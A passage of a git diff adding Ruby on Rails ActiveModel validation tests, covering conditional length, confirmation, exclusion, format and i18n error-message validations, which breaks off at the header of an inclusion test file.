+ :unless => Proc.new { |r| r.content.size > 4 } )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_if_validation_using_block_false
+ # When the block returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
+ :if => Proc.new { |r| r.title != "uhohuhoh"} )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_unless_validation_using_block_false
+ # When the block returns false
+ Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}",
+ :unless => Proc.new { |r| r.title != "uhohuhoh"} )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ # previous implementation of validates_presence_of eval'd the
+ # string with the wrong binding, this regression test is to
+ # ensure that it works correctly
+ def test_validation_with_if_as_string
+ Topic.validates_presence_of(:title)
+ Topic.validates_presence_of(:author_name, :if => "title.to_s.match('important')")
+
+ t = Topic.new
+ assert t.invalid?, "A topic without a title should not be valid"
+ assert t.errors[:author_name].empty?, "A topic without an 'important' title should not require an author"
+
+ t.title = "Just a title"
+ assert t.valid?, "A topic with a basic title should be valid"
+
+ t.title = "A very important title"
+ assert t.invalid?, "A topic with an important title, but without an author, should not be valid"
+ assert t.errors[:author_name].any?, "A topic with an 'important' title should require an author"
+
+ t.author_name = "Hubert J. Farnsworth"
+ assert t.valid?, "A topic with an important title and author should be valid"
+ end
+end
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
new file mode 100644
index 0000000..814eec3
--- /dev/null
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -0,0 +1,105 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+class ConfirmationValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_no_title_confirmation
+ Topic.validates_confirmation_of(:title)
+
+ t = Topic.new(:author_name => "Plutarch")
+ assert t.valid?
+
+ t.title_confirmation = "Parallel Lives"
+ assert t.invalid?
+
+ t.title_confirmation = nil
+ t.title = "Parallel Lives"
+ assert t.valid?
+
+ t.title_confirmation = "Parallel Lives"
+ assert t.valid?
+ end
+
+ def test_title_confirmation
+ Topic.validates_confirmation_of(:title)
+
+ t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+ assert t.invalid?
+
+ t.title_confirmation = "We should be confirmed"
+ assert t.valid?
+ end
+
+ def test_validates_confirmation_of_for_ruby_class
+ Person.validates_confirmation_of :karma
+
+ p = Person.new
+ p.karma_confirmation = "None"
+ assert p.invalid?
+
+ assert_equal ["doesn't match Karma"], p.errors[:karma_confirmation]
+
+ p.karma = "None"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+
+ def test_title_confirmation_with_i18n_attribute
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ I18n.backend.store_translations('en', {
+ :errors => {:messages => {:confirmation => "doesn't match %{attribute}"}},
+ :activemodel => {:attributes => {:topic => {:title => 'Test Title'}}}
+ })
+
+ Topic.validates_confirmation_of(:title)
+
+ t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+ assert t.invalid?
+ assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ end
+
+ test "does not override confirmation reader if present" do
+ klass = Class.new do
+ include ActiveModel::Validations
+
+ def title_confirmation
+ "expected title"
+ end
+
+ validates_confirmation_of :title
+ end
+
+ assert_equal "expected title", klass.new.title_confirmation,
+ "confirmation validation should not override the reader"
+ end
+
+ test "does not override confirmation writer if present" do
+ klass = Class.new do
+ include ActiveModel::Validations
+
+ def title_confirmation=(value)
+ @title_confirmation = "expected title"
+ end
+
+ validates_confirmation_of :title
+ end
+
+ model = klass.new
+ model.title_confirmation = "new title"
+ assert_equal "expected title", model.title_confirmation,
+ "confirmation validation should not override the writer"
+ end
+end
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
new file mode 100644
index 0000000..7d5af27
--- /dev/null
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -0,0 +1,92 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+class ExclusionValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_validates_exclusion_of
+ Topic.validates_exclusion_of( :title, :in => %w( abe monkey ) )
+
+ assert Topic.new("title" => "something", "content" => "abc").valid?
+ assert Topic.new("title" => "monkey", "content" => "abc").invalid?
+ end
+
+ def test_validates_exclusion_of_with_formatted_message
+ Topic.validates_exclusion_of( :title, :in => %w( abe monkey ), :message => "option %{value} is restricted" )
+
+ assert Topic.new("title" => "something", "content" => "abc")
+
+ t = Topic.new("title" => "monkey")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["option monkey is restricted"], t.errors[:title]
+ end
+
+ def test_validates_exclusion_of_with_within_option
+ Topic.validates_exclusion_of( :title, :within => %w( abe monkey ) )
+
+ assert Topic.new("title" => "something", "content" => "abc")
+
+ t = Topic.new("title" => "monkey")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ end
+
+ def test_validates_exclusion_of_for_ruby_class
+ Person.validates_exclusion_of :karma, :in => %w( abe monkey )
+
+ p = Person.new
+ p.karma = "abe"
+ assert p.invalid?
+
+ assert_equal ["is reserved"], p.errors[:karma]
+
+ p.karma = "Lifo"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+
+ def test_validates_exclusion_of_with_lambda
+ Topic.validates_exclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+
+ t = Topic.new
+ t.title = "elephant"
+ t.author_name = "sikachu"
+ assert t.invalid?
+
+ t.title = "wasabi"
+ assert t.valid?
+ end
+
+ def test_validates_inclusion_of_with_symbol
+ Person.validates_exclusion_of :karma, :in => :reserved_karmas
+
+ p = Person.new
+ p.karma = "abe"
+
+ def p.reserved_karmas
+ %w(abe)
+ end
+
+ assert p.invalid?
+ assert_equal ["is reserved"], p.errors[:karma]
+
+ p = Person.new
+ p.karma = "abe"
+
+ def p.reserved_karmas
+ %w()
+ end
+
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
new file mode 100644
index 0000000..308a3c6
--- /dev/null
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -0,0 +1,149 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+class PresenceValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_validate_format
+ Topic.validates_format_of(:title, :content, :with => /\AValidation\smacros \w+!\z/, :message => "is bad data")
+
+ t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
+ assert t.invalid?, "Shouldn't be valid"
+ assert_equal ["is bad data"], t.errors[:title]
+ assert t.errors[:content].empty?
+
+ t.title = "Validation macros rule!"
+
+ assert t.valid?
+ assert t.errors[:title].empty?
+
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, :content) }
+ end
+
+ def test_validate_format_with_allow_blank
+ Topic.validates_format_of(:title, :with => /\AValidation\smacros \w+!\z/, :allow_blank => true)
+ assert Topic.new("title" => "Shouldn't be valid").invalid?
+ assert Topic.new("title" => "").valid?
+ assert Topic.new("title" => nil).valid?
+ assert Topic.new("title" => "Validation macros rule!").valid?
+ end
+
+ # testing ticket #3142
+ def test_validate_format_numeric
+ Topic.validates_format_of(:title, :content, :with => /\A[1-9][0-9]*\z/, :message => "is bad data")
+
+ t = Topic.new("title" => "72x", "content" => "6789")
+ assert t.invalid?, "Shouldn't be valid"
+
+ assert_equal ["is bad data"], t.errors[:title]
+ assert t.errors[:content].empty?
+
+ t.title = "-11"
+ assert t.invalid?, "Shouldn't be valid"
+
+ t.title = "03"
+ assert t.invalid?, "Shouldn't be valid"
+
+ t.title = "z44"
+ assert t.invalid?, "Shouldn't be valid"
+
+ t.title = "5v7"
+ assert t.invalid?, "Shouldn't be valid"
+
+ t.title = "1"
+
+ assert t.valid?
+ assert t.errors[:title].empty?
+ end
+
+ def test_validate_format_with_formatted_message
+ Topic.validates_format_of(:title, :with => /\AValid Title\z/, :message => "can't be %{value}")
+ t = Topic.new(:title => 'Invalid title')
+ assert t.invalid?
+ assert_equal ["can't be Invalid title"], t.errors[:title]
+ end
+
+ def test_validate_format_of_with_multiline_regexp_should_raise_error
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /^Valid Title$/) }
+ end
+
+ def test_validate_format_of_with_multiline_regexp_and_option
+ assert_nothing_raised(ArgumentError) do
+ Topic.validates_format_of(:title, :with => /^Valid Title$/, :multiline => true)
+ end
+ end
+
+ def test_validate_format_with_not_option
+ Topic.validates_format_of(:title, :without => /foo/, :message => "should not contain foo")
+ t = Topic.new
+
+ t.title = "foobar"
+ t.valid?
+ assert_equal ["should not contain foo"], t.errors[:title]
+
+ t.title = "something else"
+ t.valid?
+ assert_equal [], t.errors[:title]
+ end
+
+ def test_validate_format_of_without_any_regexp_should_raise_error
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title) }
+ end
+
+ def test_validates_format_of_with_both_regexps_should_raise_error
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /this/, :without => /that/) }
+ end
+
+ def test_validates_format_of_when_with_isnt_a_regexp_should_raise_error
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => "clearly not a regexp") }
+ end
+
+ def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error
+ assert_raise(ArgumentError) { Topic.validates_format_of(:title, :without => "clearly not a regexp") }
+ end
+
+ def test_validates_format_of_with_lambda
+ Topic.validates_format_of :content, :with => lambda{ |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
+
+ t = Topic.new
+ t.title = "digit"
+ t.content = "Pixies"
+ assert t.invalid?
+
+ t.content = "1234"
+ assert t.valid?
+ end
+
+ def test_validates_format_of_without_lambda
+ Topic.validates_format_of :content, :without => lambda{ |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
+
+ t = Topic.new
+ t.title = "characters"
+ t.content = "1234"
+ assert t.invalid?
+
+ t.content = "Pixies"
+ assert t.valid?
+ end
+
+ def test_validates_format_of_for_ruby_class
+ Person.validates_format_of :karma, :with => /\A\d+\Z/
+
+ p = Person.new
+ p.karma = "Pixies"
+ assert p.invalid?
+
+ assert_equal ["is invalid"], p.errors[:karma]
+
+ p.karma = "1234"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
new file mode 100644
index 0000000..302cbe9
--- /dev/null
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -0,0 +1,138 @@
+require "cases/helper"
+
+require 'models/person'
+
+class I18nGenerateMessageValidationTest < ActiveModel::TestCase
+ def setup
+ Person.reset_callbacks(:validate)
+ @person = Person.new
+ end
+
+ # validates_inclusion_of: generate_message(attr_name, :inclusion, message: custom_message, value: value)
+ def test_generate_message_inclusion_with_default_message
+ assert_equal 'is not included in the list', @person.errors.generate_message(:title, :inclusion, :value => 'title')
+ end
+
+ def test_generate_message_inclusion_with_custom_message
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :inclusion, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # validates_exclusion_of: generate_message(attr_name, :exclusion, message: custom_message, value: value)
+ def test_generate_message_exclusion_with_default_message
+ assert_equal 'is reserved', @person.errors.generate_message(:title, :exclusion, :value => 'title')
+ end
+
+ def test_generate_message_exclusion_with_custom_message
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :exclusion, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # validates_format_of: generate_message(attr_name, :invalid, message: custom_message, value: value)
+ def test_generate_message_invalid_with_default_message
+ assert_equal 'is invalid', @person.errors.generate_message(:title, :invalid, :value => 'title')
+ end
+
+ def test_generate_message_invalid_with_custom_message
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :invalid, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # validates_confirmation_of: generate_message(attr_name, :confirmation, message: custom_message)
+ def test_generate_message_confirmation_with_default_message
+ assert_equal "doesn't match Title", @person.errors.generate_message(:title, :confirmation)
+ end
+
+ def test_generate_message_confirmation_with_custom_message
+ assert_equal 'custom message', @person.errors.generate_message(:title, :confirmation, :message => 'custom message')
+ end
+
+ # validates_acceptance_of: generate_message(attr_name, :accepted, message: custom_message)
+ def test_generate_message_accepted_with_default_message
+ assert_equal "must be accepted", @person.errors.generate_message(:title, :accepted)
+ end
+
+ def test_generate_message_accepted_with_custom_message
+ assert_equal 'custom message', @person.errors.generate_message(:title, :accepted, :message => 'custom message')
+ end
+
+ # add_on_empty: generate_message(attr, :empty, message: custom_message)
+ def test_generate_message_empty_with_default_message
+ assert_equal "can't be empty", @person.errors.generate_message(:title, :empty)
+ end
+
+ def test_generate_message_empty_with_custom_message
+ assert_equal 'custom message', @person.errors.generate_message(:title, :empty, :message => 'custom message')
+ end
+
+ # add_on_blank: generate_message(attr, :blank, message: custom_message)
+ def test_generate_message_blank_with_default_message
+ assert_equal "can't be blank", @person.errors.generate_message(:title, :blank)
+ end
+
+ def test_generate_message_blank_with_custom_message
+ assert_equal 'custom message', @person.errors.generate_message(:title, :blank, :message => 'custom message')
+ end
+
+ # validates_length_of: generate_message(attr, :too_long, message: custom_message, count: option_value.end)
+ def test_generate_message_too_long_with_default_message
+ assert_equal "is too long (maximum is 10 characters)", @person.errors.generate_message(:title, :too_long, :count => 10)
+ end
+
+ def test_generate_message_too_long_with_custom_message
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_long, :message => 'custom message %{count}', :count => 10)
+ end
+
+ # validates_length_of: generate_message(attr, :too_short, default: custom_message, count: option_value.begin)
+ def test_generate_message_too_short_with_default_message
+ assert_equal "is too short (minimum is 10 characters)", @person.errors.generate_message(:title, :too_short, :count => 10)
+ end
+
+ def test_generate_message_too_short_with_custom_message
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :too_short, :message => 'custom message %{count}', :count => 10)
+ end
+
+ # validates_length_of: generate_message(attr, :wrong_length, message: custom_message, count: option_value)
+ def test_generate_message_wrong_length_with_default_message
+ assert_equal "is the wrong length (should be 10 characters)", @person.errors.generate_message(:title, :wrong_length, :count => 10)
+ end
+
+ def test_generate_message_wrong_length_with_custom_message
+ assert_equal 'custom message 10', @person.errors.generate_message(:title, :wrong_length, :message => 'custom message %{count}', :count => 10)
+ end
+
+ # validates_numericality_of: generate_message(attr_name, :not_a_number, value: raw_value, message: custom_message)
+ def test_generate_message_not_a_number_with_default_message
+ assert_equal "is not a number", @person.errors.generate_message(:title, :not_a_number, :value => 'title')
+ end
+
+ def test_generate_message_not_a_number_with_custom_message
+ assert_equal 'custom message title', @person.errors.generate_message(:title, :not_a_number, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # validates_numericality_of: generate_message(attr_name, option, value: raw_value, default: custom_message)
+ def test_generate_message_greater_than_with_default_message
+ assert_equal "must be greater than 10", @person.errors.generate_message(:title, :greater_than, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_greater_than_or_equal_to_with_default_message
+ assert_equal "must be greater than or equal to 10", @person.errors.generate_message(:title, :greater_than_or_equal_to, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_equal_to_with_default_message
+ assert_equal "must be equal to 10", @person.errors.generate_message(:title, :equal_to, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_less_than_with_default_message
+ assert_equal "must be less than 10", @person.errors.generate_message(:title, :less_than, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_less_than_or_equal_to_with_default_message
+ assert_equal "must be less than or equal to 10", @person.errors.generate_message(:title, :less_than_or_equal_to, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_odd_with_default_message
+ assert_equal "must be odd", @person.errors.generate_message(:title, :odd, :value => 'title', :count => 10)
+ end
+
+ def test_generate_message_even_with_default_message
+ assert_equal "must be even", @person.errors.generate_message(:title, :even, :value => 'title', :count => 10)
+ end
+end
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
new file mode 100644
index 0000000..4c01b47
--- /dev/null
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -0,0 +1,373 @@
+# -*- coding: utf-8 -*-
+
+require "cases/helper"
+require 'models/person'
+
+class I18nValidationTest < ActiveModel::TestCase
+
+ def setup
+ Person.reset_callbacks(:validate)
+ @person = Person.new
+
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
+ end
+
+ def teardown
+ Person.reset_callbacks(:validate)
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ end
+
+ def test_full_message_encoding
+ I18n.backend.store_translations('en', :errors => {
+ :messages => { :too_short => '猫舌' }})
+ Person.validates_length_of :title, :within => 3..5
+ @person.valid?
+ assert_equal ['Title 猫舌'], @person.errors.full_messages
+ end
+
+ def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
+ @person.errors.add(:name, 'not found')
+ Person.expects(:human_attribute_name).with(:name, :default => 'Name').returns("Person's name")
+ assert_equal ["Person's name not found"], @person.errors.full_messages
+ end
+
+ def test_errors_full_messages_uses_format
+ I18n.backend.store_translations('en', :errors => {:format => "Field %{attribute} %{message}"})
+ @person.errors.add('name', 'empty')
+ assert_equal ["Field Name empty"], @person.errors.full_messages
+ end
+
+ # ActiveModel::Validations
+
+ # A set of common cases for ActiveModel::Validations message generation that
+ # are used to generate tests to keep things DRY
+ #
+ COMMON_CASES = [
+ # [ case, validation_options, generate_message_options]
+ [ "given no options", {}, {}],
+ [ "given custom message", {:message => "custom"}, {:message => "custom"}],
+ [ "given if condition", {:if => lambda { true }}, {}],
+ [ "given unless condition", {:unless => lambda { false }}, {}],
+ [ "given option that is not reserved", {:format => "jpg"}, {:format => "jpg" }]
+ ]
+
+ # validates_confirmation_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_confirmation_of on generated message #{name}" do
+ Person.validates_confirmation_of :title, validation_options
+ @person.title_confirmation = 'foo'
+ @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(:attribute => 'Title'))
+ @person.valid?
+ end
+ end
+
+ # validates_acceptance_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_acceptance_of on generated message #{name}" do
+ Person.validates_acceptance_of :title, validation_options.merge(:allow_nil => false)
+ @person.errors.expects(:generate_message).with(:title, :accepted, generate_message_options)
+ @person.valid?
+ end
+ end
+
+ # validates_presence_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_presence_of on generated message #{name}" do
+ Person.validates_presence_of :title, validation_options
+ @person.errors.expects(:generate_message).with(:title, :blank, generate_message_options)
+ @person.valid?
+ end
+ end
+
+ # validates_length_of :within too short w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_length_of for :withing on generated message when too short #{name}" do
+ Person.validates_length_of :title, validation_options.merge(:within => 3..5)
+ @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(:count => 3))
+ @person.valid?
+ end
+ end
+
+ # validates_length_of :within too long w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_length_of for :too_long generated message #{name}" do
+ Person.validates_length_of :title, validation_options.merge(:within => 3..5)
+ @person.title = 'this title is too long'
+ @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(:count => 5))
+ @person.valid?
+ end
+ end
+
+ # validates_length_of :is w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_length_of for :is on generated message #{name}" do
+ Person.validates_length_of :title, validation_options.merge(:is => 5)
+ @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(:count => 5))
+ @person.valid?
+ end
+ end
+
+ # validates_format_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_format_of on generated message #{name}" do
+ Person.validates_format_of :title, validation_options.merge(:with => /\A[1-9][0-9]*\z/)
+ @person.title = '72x'
+ @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(:value => '72x'))
+ @person.valid?
+ end
+ end
+
+ # validates_inclusion_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_inclusion_of on generated message #{name}" do
+ Person.validates_inclusion_of :title, validation_options.merge(:in => %w(a b c))
+ @person.title = 'z'
+ @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+ @person.valid?
+ end
+ end
+
+ # validates_inclusion_of using :within w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_inclusion_of using :within on generated message #{name}" do
+ Person.validates_inclusion_of :title, validation_options.merge(:within => %w(a b c))
+ @person.title = 'z'
+ @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+ @person.valid?
+ end
+ end
+
+ # validates_exclusion_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_exclusion_of generated message #{name}" do
+ Person.validates_exclusion_of :title, validation_options.merge(:in => %w(a b c))
+ @person.title = 'a'
+ @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+ @person.valid?
+ end
+ end
+
+ # validates_exclusion_of using :within w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_exclusion_of using :within generated message #{name}" do
+ Person.validates_exclusion_of :title, validation_options.merge(:within => %w(a b c))
+ @person.title = 'a'
+ @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+ @person.valid?
+ end
+ end
+
+ # validates_numericality_of without :only_integer w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_numericality_of generated message #{name}" do
+ Person.validates_numericality_of :title, validation_options
+ @person.title = 'a'
+ @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(:value => 'a'))
+ @person.valid?
+ end
+ end
+
+ # validates_numericality_of with :only_integer w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_numericality_of for :only_integer on generated message #{name}" do
+ Person.validates_numericality_of :title, validation_options.merge(:only_integer => true)
+ @person.title = '0.0'
+ @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(:value => '0.0'))
+ @person.valid?
+ end
+ end
+
+ # validates_numericality_of :odd w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_numericality_of for :odd on generated message #{name}" do
+ Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :odd => true)
+ @person.title = 0
+ @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(:value => 0))
+ @person.valid?
+ end
+ end
+
+ # validates_numericality_of :less_than w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_numericality_of for :less_than on generated message #{name}" do
+ Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :less_than => 0)
+ @person.title = 1
+ @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(:value => 1, :count => 0))
+ @person.valid?
+ end
+ end
+
+
+ # To make things DRY this macro is defined to define 3 tests for every validation case.
+ def self.set_expectations_for_validation(validation, error_type, &block_that_sets_validation)
+ if error_type == :confirmation
+ attribute = :title_confirmation
+ else
+ attribute = :title
+ end
+ # test "validates_confirmation_of finds custom model key translation when blank"
+ test "#{validation} finds custom model key translation when #{error_type}" do
+ I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message'}}}}}}
+ I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+
+ yield(@person, {})
+ @person.valid?
+ assert_equal ['custom message'], @person.errors[attribute]
+ end
+
+ # test "validates_confirmation_of finds custom model key translation with interpolation when blank"
+ test "#{validation} finds custom model key translation with interpolation when #{error_type}" do
+ I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message with %{extra}'}}}}}}
+ I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+
+ yield(@person, {:extra => "extra information"})
+ @person.valid?
+ assert_equal ['custom message with extra information'], @person.errors[attribute]
+ end
+
+ # test "validates_confirmation_of finds global default key translation when blank"
+ test "#{validation} finds global default key translation when #{error_type}" do
+ I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+
+ yield(@person, {})
+ @person.valid?
+ assert_equal ['global message'], @person.errors[attribute]
+ end
+ end
+
+ # validates_confirmation_of w/o mocha
+
+ set_expectations_for_validation "validates_confirmation_of", :confirmation do |person, options_to_merge|
+ Person.validates_confirmation_of :title, options_to_merge
+ person.title_confirmation = 'foo'
+ end
+
+ # validates_acceptance_of w/o mocha
+
+ set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge|
+ Person.validates_acceptance_of :title, options_to_merge.merge(:allow_nil => false)
+ end
+
+ # validates_presence_of w/o mocha
+
+ set_expectations_for_validation "validates_presence_of", :blank do |person, options_to_merge|
+ Person.validates_presence_of :title, options_to_merge
+ end
+
+ # validates_length_of :within w/o mocha
+
+ set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge|
+ Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+ end
+
+ set_expectations_for_validation "validates_length_of", :too_long do |person, options_to_merge|
+ Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+ person.title = "too long"
+ end
+
+ # validates_length_of :is w/o mocha
+
+ set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge|
+ Person.validates_length_of :title, options_to_merge.merge(:is => 5)
+ end
+
+ # validates_format_of w/o mocha
+
+ set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
+ Person.validates_format_of :title, options_to_merge.merge(:with => /\A[1-9][0-9]*\z/)
+ end
+
+ # validates_inclusion_of w/o mocha
+
+ set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge|
+ Person.validates_inclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+ end
+
+ # validates_exclusion_of w/o mocha
+
+ set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge|
+ Person.validates_exclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+ person.title = 'a'
+ end
+
+ # validates_numericality_of without :only_integer w/o mocha
+
+ set_expectations_for_validation "validates_numericality_of", :not_a_number do |person, options_to_merge|
+ Person.validates_numericality_of :title, options_to_merge
+ person.title = 'a'
+ end
+
+ # validates_numericality_of with :only_integer w/o mocha
+
+ set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge|
+ Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true)
+ person.title = '1.0'
+ end
+
+ # validates_numericality_of :odd w/o mocha
+
+ set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge|
+ Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :odd => true)
+ person.title = 0
+ end
+
+ # validates_numericality_of :less_than w/o mocha
+
+ set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge|
+ Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :less_than => 0)
+ person.title = 1
+ end
+
+ # test with validates_with
+
+ def test_validations_with_message_symbol_must_translate
+ I18n.backend.store_translations 'en', :errors => {:messages => {:custom_error => "I am a custom error"}}
+ Person.validates_presence_of :title, :message => :custom_error
+ @person.title = nil
+ @person.valid?
+ assert_equal ["I am a custom error"], @person.errors[:title]
+ end
+
+ def test_validates_with_message_symbol_must_translate_per_attribute
+ I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}}
+ Person.validates_presence_of :title, :message => :custom_error
+ @person.title = nil
+ @person.valid?
+ assert_equal ["I am a custom error"], @person.errors[:title]
+ end
+
+ def test_validates_with_message_symbol_must_translate_per_model
+ I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:custom_error => "I am a custom error"}}}}
+ Person.validates_presence_of :title, :message => :custom_error
+ @person.title = nil
+ @person.valid?
+ assert_equal ["I am a custom error"], @person.errors[:title]
+ end
+
+ def test_validates_with_message_string
+ Person.validates_presence_of :title, :message => "I am a custom error"
+ @person.title = nil
+ @person.valid?
+ assert_equal ["I am a custom error"], @person.errors[:title]
+ end
+
+end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
new file mode 100644
index 0000000..117e910
--- /dev/null
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
